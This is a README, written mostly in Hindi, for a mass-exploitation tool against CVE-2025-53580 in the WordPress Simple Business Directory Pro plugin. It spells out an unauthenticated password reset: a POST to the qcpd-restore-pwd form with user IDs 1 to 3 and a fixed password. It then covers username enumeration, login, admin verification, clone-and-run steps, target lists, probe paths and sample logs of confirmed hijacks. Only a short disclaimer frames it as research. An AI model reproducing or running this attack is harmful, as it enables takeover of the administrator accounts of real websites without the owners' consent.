
WordPress Simple Business Directory Pro Plugin < 15.6.9 एक उच्च प्राथमिकता वाले विशेषाधिकार वृद्धि (Privilege Escalation) के लिए संवेदनशील है।
वर्डप्रेस सिंपल बिजनेस डायरेक्टरी प्रो प्लगइन < 15.6.9 एक उच्च प्राथमिकता वाले विशेषाधिकार वृद्धि के लिए संवेदनशील है
___ _ ___ __ __ __ ____ ____ ___ ____ __ __
/ (_)(_| |_// (_) / )/ \/ )| | / \| / \ / \
| | | \__ /| | / |___ |___ __/|___ \__/| |
| | | / -----/ | |/ \----- \ \ \/ \| |
\___/ \_/ \___/ /___\__//___\___/ \___/\___/\___/\__/ \__/
मूल कारण:
प्लगइन एक फ्रंटएंड पासवर्ड रिस्टोर फॉर्म (qcpd-restore-pwd) को उजागर करता है जो एक संख्यात्मक qcpd-uid (वर्डप्रेस उपयोगकर्ता आईडी) और एक नया pass मान स्वीकार करता है। पासवर्ड बदलने से पहले कोई प्रमाणीकरण, टोकन, नॉन्स या ईमेल सत्यापन लागू नहीं किया जाता है। कोई भी अप्रमाणित हमलावर एकल POST अनुरोध सबमिट करके उपयोगकर्ता आईडी 1 (आमतौर पर साइट व्यवस्थापक) और किसी भी अन्य उपयोगकर्ता का पासवर्ड रीसेट कर सकता है, फिर इंजेक्टेड पासवर्ड से प्रमाणीकरण करके पूर्ण व्यवस्थापक पहुंच प्राप्त कर सकता है।
┌─────────────────────────────────────────────────────────────────┐
│ 1. Discover SBD restore page │
│ Probe 24 candidate paths → match body containing "sbd" │
│ │
│ 2. Reset passwords by user ID │
│ POST <restore_url> │
│ qcpd-restore-pwd = restore │
│ qcpd-restore-pwd-type = user │
│ qcpd-uid = 1 (then 2, then 3) │
│ pass = NxploitedNX │
│ │
│ 3. Enumerate usernames │
│ /?author=1..9 → redirect / body parse │
│ /wp-json/wp/v2/users → slug / username fields │
│ hostname heuristic + "admin" fallback │
│ │
│ 4. Login with injected password │
│ POST /wp-login.php log=<user> pwd=NxploitedNX │
│ Check: wordpress_logged_in cookie present │
│ │
│ 5. Verify admin access (dual method) │
│ GET /wp-json/wp/v2/users/me → capabilities.manage_options│
│ GET /wp-admin/users.php → adminmenu / users table │
│ │
│ 6. Write confirmed hit → Nx_sbd_login_hits.txt │
└─────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-53580.git
cd CVE-2025-53580
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
python3 CVE-2025-53580.py
लक्ष्य सूची फ़ाइल (प्रति पंक्ति एक होस्ट/URL) [list.txt]: list.txt
थ्रेड (समवर्ती साइटें) [3]: 5
HTTP टाइमआउट (सेकंड) [10]: 10
सफल हिट फ़ाइल [Nx_sbd_login_hits.txt]: Nx_sbd_login_hits.txt
सभी रीसेट प्रयासों के लिए इंजेक्ट किया गया पासवर्ड आंतरिक रूप से निश्चित है:
NxploitedNX
प्रति साइट लक्षित उपयोगकर्ता आईडी:
1,2,3(MAX_USER_IDके माध्यम से कॉन्फ़िगरेबल)
list.txthttps://target1.com
target2.com
http://target3.com
यह उपकरण प्रति लक्ष्य 24 पथ स्कैन करता है जिसके बॉडी में sbd हो:
/login /log-in /signin /sign-in
/user-login /account/login /restore /password-reset
/reset-password /lost-password /lostpassword /user/restore
/my-account /members/login /member-login /customer-login
/wp-login.php /blog/login /auth/login /auth/restore
/sbd-login /sbd-restore /blog/log-in /account/log-in
प्रत्येक सफल लॉगिन को डिस्क पर लिखे जाने से पहले दो स्वतंत्र जांचों के माध्यम से सत्यापित किया जाता है:
विधि 1 — REST API:
GET /wp-json/wp/v2/users/me
→ capabilities.manage_options = true → ADMIN CONFIRMED
विधि 2 — डैशबोर्ड:
GET /wp-admin/users.php
→ adminmenu / users table markers present → ADMIN CONFIRMED
Nx_sbd_login_hits.txt
[2025-06-01 14:22:10] https://target.com - type=ADMIN - user=admin
- login=/wp-login.php user=admin pass=NxploitedNX
- detail=ADMIN_CONFIRMED_REST(manage_options)
[2025-06-01 14:23:05] https://target2.com - type=USER - user=editor
- login=/wp-login.php user=editor pass=NxploitedNX
- detail=not_admin(rest_no_manage_options, wpadmin_no_strong_markers)
[info] https://target.com :: starting
[ok] https://target.com :: found front-end sbd page at https://target.com/my-account
[info] https://target.com :: starting qcpd-uid=1..3 brute with pass=NxploitedNX
[info] https://target.com :: POST uid=1 → status=302, Location=/my-account/?restored=1
[info] https://target.com :: POST uid=2 → status=302, Location=/my-account/?restored=1
[info] https://target.com :: extracting usernames and trying login
[ok] https://target.com :: login OK for user='admin', checking admin...
[ok] https://target.com :: HIT for user='admin' → admin=True,
detail=ADMIN_CONFIRMED_REST(manage_options)
[warn] https://target2.com :: no sbd page found in candidate restore paths, skipping
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.
© 2025 Nxploited · सिंपल बिजनेस डायरेक्टरी प्रो < 15.6.9 · 15.6.9 में ठीक किया गया
| फ़ील्ड | विवरण |
|---|
| CVE | CVE-2025-53580 |
| प्लगइन | quantumcloud सिंपल बिजनेस डायरेक्टरी प्रो (simple-business-directory-pro) |
| प्रभावित | सभी संस्करण < 15.6.9 |
| प्रमाणीकरण | कोई आवश्यक नहीं |
| प्रकार | गलत विशेषाधिकार असाइनमेंट → अप्रमाणित पासवर्ड रीसेट |
| CWE | CWE-266 · गलत विशेषाधिकार असाइनमेंट |
| विधि | एंडपॉइंट |
|---|
| लेखक रीडायरेक्ट | /?author=1 → /?author=9 |
| REST API | /wp-json/wp/v2/users → slug + username |
| होस्टनाम अनुमान | डोमेन का पहला लेबल |
| हार्डकोडेड फ़ॉलबैक | admin हमेशा शामिल |